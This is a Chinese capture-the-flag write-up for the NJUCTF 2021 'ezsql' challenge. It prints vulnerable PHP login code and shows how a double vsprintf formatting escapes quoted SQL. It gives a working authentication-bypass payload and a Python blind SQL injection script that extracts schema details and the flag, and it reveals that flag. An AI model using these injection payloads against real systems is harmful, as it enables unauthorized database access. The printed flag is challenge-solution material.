php vsprintf格式化字符串逃逸sql语句引号(njuctf2021 ezsql wp)
登陆界面。访问129.211.173.64:3080/www.zip
可以得到源码
config.php(这是用来连数据库的,没啥用,就不贴了)
login.php
<?php include_once('config.php'); ?> <!DOCTYPE html> <html> <head> <title>There is no absolutely safe system</title> </head> <body> <?php if (isset($_POST['password'])){ $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']); if (isset($_POST['name'])){ $query = db::prepare($query . " and name=%s", $_POST['name']); } else{ $query = $query . " and name='benjaminEngel'"; } $query = $query . " limit 1"; $result = db::commit($query); if ($result->num_rows > 0){ die('NCTF{ez'); } else{ die('Wrong name or password.'); } } else{?> <form action="login.php" method="post"> <input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled> <input type="password" name="password" id="password" placeholder="Enter password"> <button type="submit">Submit</button> </form> <?php } ?> </body> </html>
DB.php
<?php class DB{ private static $db = null; public function __construct($db_host, $db_user, $db_pass, $db_database){ static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database); } static public function buildMySQL($db_host, $db_user, $db_pass, $db_database) { return new DB($db_host, $db_user, $db_pass, $db_database); } public static function getInstance(){ return static::$db; } public static function connect_error(){ return static::$db->connect_errno; } public static function prepare($query, $args){ if (is_null($query)){ return; } if (strpos($query, '%') === false){ die('%s not included in query!'); return; } // get args $args = func_get_args(); array_shift( $args ); $args_is_array = false; if (is_array($args[0]) && count($args) == 1 ) { $args = $args[0]; $args_is_array = true; } $count_format = substr_count($query, '%s'); if($count_format !== count($args)){ die('Wrong number of arguments!'); return; } // escape foreach ($args as &$value){ $value = static::$db->real_escape_string($value); } // prepare $query = str_replace("%s", "'%s'", $query); $query = vsprintf($query, $args); return $query; } public static function commit($query){ $res = static::$db->query($query); if($res !== false){ return $res; } else{ die('Error in query.'); } } } ?>
审计代码的逻辑,进行了两次格式化字符串,密码还用md5()包裹,而且每次都用单引号把%s闭合了,并且在替换%s前还用了real_escape_string($value)
进行转义。(盯着这几个安全函数几个小时差点哭了555)
好吧好吧,还是有注入点的。这里用到了vsprint语句。在w3school可以查到它的例子
也就是说,可以post数组来逃逸引号。先来看看正常的sql查询语句
SELECT * FROM `users` where password=md5(%s) and name=%s limit 1
其中两个%s就是post的账号和密码。
如果我们密码输入%s,name输入一个数组,第一个元素用来闭合md5并且注入再注释,第二个元素随便输,就能绕过了!
可以构造payload如下
name[0]=) or [bool] #&name[1]=a&password=%s
其中[bool]用来塞布尔值。
sql语句就会变为
SELECT * FROM `users` where password=md5() or [bool] #) and name=a limit 1
试一下postname[0]=) or 1=1 #&name[1]=a&password=%s
还有一半flag在数据库里边。用二分脚本跑盲注即可。这里有个坑,最后查details的时候表名要写成 `2021`.NcTF 其他任何形式都不行。脚本如下(当然不是我这个菜鸡写的啦)
import requests #NCTF{3v3ryth1ng_not_fantast1c_:)} #uname:admin Ts = "NCTF{3v3ryth1ng_" Fs = "Wrong" url = "http://129.211.173.64:3080/login.php" def SQL_injection(url) : res = "" for i in range(1,2000) : left = 32 right = 128 mid = (left + right) // 2 while (left < right) : payload_database = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i, mid) payload_all_database = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid) payload_table = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)))>%d)#" % (i, mid) #4E635446 NcTF payload_cloumn = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4E635446)),%d,1)))>%d)#" % (i, mid) payload_info = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid) #2021.NcTF fl@g payload = payload_info data = {"name[0]" : payload, "name[1]" : "SilentE", "password" : "12%s34"} #urls = url + payload resp = requests.post(url = url, data = data) #print(resp.text) if Ts in resp.text : left = mid + 1 else : right = mid mid = (left + right) // 2 if (mid == 32) : break res += chr(mid) print(res) print(res) if __name__ == "__main__" : SQL_injection(url)